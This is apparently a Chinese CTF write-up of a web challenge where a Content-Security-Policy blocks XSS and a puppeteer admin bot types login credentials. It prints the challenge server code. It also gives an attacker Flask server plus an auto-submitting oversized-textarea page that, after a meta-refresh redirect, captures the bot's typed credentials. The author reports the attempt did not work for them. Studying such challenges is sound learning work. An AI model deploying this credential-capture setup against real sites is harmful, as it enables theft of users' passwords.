24 / 06 / 03
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'" />
基础的XSS脚本是无法进行注入了,这里设置了CSP(内容安全策略)。
default-src 'none': 这指定默认情况下,不允许加载任何外部资源(例如脚本、图片、CSS等)。这是一个非常严格的策略,旨在防止所有外部资源的加载,除非显式允许。
style-src 'self': 这覆盖了default-src对于样式表的设置。它允许从相同的源(即与网页相同的域名)加载样式表。这意味着页面可以使用其自身的CSS文件,但不能使用来自其他域的CSS。
form-action 'self',这意味着只能给题目指定的URL(相当于管理员)发送请求。
这里我们没法执行JS代码,也无法使用自定义的CSS,更无法由入口像外网服务器提交数据。所以我们只能通过不执行。我们来看看给出的JS代码:
import fastify from 'fastify'; import fastifyFormbody from '@fastify/formbody'; import fastifyStatic from '@fastify/static'; import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; import puppeteer from 'puppeteer'; import { nanoid } from 'nanoid'; let messages = {} const server = fastify(); server.register(fastifyFormbody); server.register(fastifyStatic, { root: path.join(path.dirname(fileURLToPath(import.meta.url)), 'public'), prefix: '/public/' }); const flag = process.env.FLAG || 'flag{fake_flag}'; const port = 5000; const user = process.env.ADMIN_USER || 'admin'; const pass = process.env.ADMIN_PASS || 'pass'; server.get('/', (req, res) => { res.sendFile('index.html') }); server.get('/style.css', (req, res) => { res.sendFile('style.css') }); server.get('/login', (req, res) => { const id = req.query.motd; if (!id) { fs.readFile('./login.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replace('{{motd}}', 'Welcome to the server!')); } }); } else { if (id in messages) { fs.readFile('./login.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replace('{{motd}}', messages[id])); } }); } else { res.send('MOTD not found'); } } }); server.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; if (username === user && password === pass) { res.send(flag); } else { res.send('Incorrect username or password'); } }); server.get('/start', async (req, res) => { const id = req.query.motd; if (id && id in messages) { try { const result = await adminBot(id); if (result.error) { res.send(result.error) } else { res.send('Hope everyone liked your message!') } } catch (err) { console.log(err); res.send('Something went wrong, please open a ticket'); } } else { res.send('MOTD not found'); } }); server.post('/motd', (req, res) => { const motd = req.body.motd; const id = nanoid(); messages[id] = motd; fs.readFile('./motd.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replaceAll('{{id}}', id)); } }); }) server.get('/motd', (req, res) => { res.send('Please use the form to submit a message of the day.'); }); //👇🏻adminBot的执行逻辑 const adminBot = async (id) => { const browser = await puppeteer.launch({ headless: true, // Uncomment below if the sandbox is causing issues // args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process'] }) const page = await browser.newPage(); await page.setViewport({ width: 800, height: 600 }); const url = `http://localhost:${port}/login?motd=${id}`; await page.goto(url); await page.mouse.click(10, 10); await new Promise(r => setTimeout(r, 1000)); try { if (url !== await page.evaluate(() => window.location.href)) { return { error: "Hey! Something's fishy here!" }; } } catch (err) { return { error: "Hey! Something's fishy here!" }; } await new Promise(r => setTimeout(r, 5000)); await page.mouse.click(420, 280); await page.keyboard.type(user); await page.mouse.click(420, 320); await page.keyboard.type(pass); await page.mouse.click(420, 360); await new Promise(r => setTimeout(r, 1000)); await browser.close(); messages[id] = undefined; return { error: null }; } server.listen({ port, host: '0.0.0.0' }, (err, address) => { if (err) { console.error(err); process.exit(1); } console.log(`Server listening at ${address}`); });
adminBot函数使用puppeteer自动化浏览器操作,模拟登录过程,并检查页面跳转,基本的流程就是:
使用puppeteer自动化访问特定URL。
点击MOTD区域。
检查当前页面URL是否与MOTD页面相同。
填写用户名和密码并提交。
我们需要创建在服务器上启动一个falsk服务,用于接收这个凭证。我真的不知道是不是我这里出了问题,难道必须要在公网上创建吗?难打本地无法接受到机器人给我的数据?
我这里好像接受不到。但是,我们仍然可以学到很多东西。
对JS的理解固然非常重要,有助于你理解整个网页的执行逻辑
在我们无法使用与执行javascript代码的时候,meta标签似乎可以用于重定向
在当前目录下创建一个falsk服务:
from flask import Flask, request, render_template app = Flask(__name__) @app.route("/lol", methods=["POST"]) def lol(): credentials = request.form.get("credentials") print(f"credentials = {credentials}") return "lol" @app.route("/")a def index() return render_template("index.html") app.run("0.0.0.0", 1337)
同目录下templates中,使用很宽的输入框就好。原作者说这是一个比较笨的方法?我理解的不太到位,这个正确数据到底是怎么接受过来的呢?难道是我是本地环境的原因,或者是?
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>lol</title> </head> <body> <form action="/lol" method="POST"> <textarea name="credentials" style="min-width: 2000px; min-height: 1000px;"> </textarea> </form> <script> setTimeout(function () { document.getElementsByTagName("form")[0].submit(); }, 4500); </script> </body> </html>

这无疑是一个失败的挑战。
参考链接:
https://ctftime.org/writeup/36440
https://blog.xmcve.com/2023/03/20/b01lers-CTF-Writeup/#title-18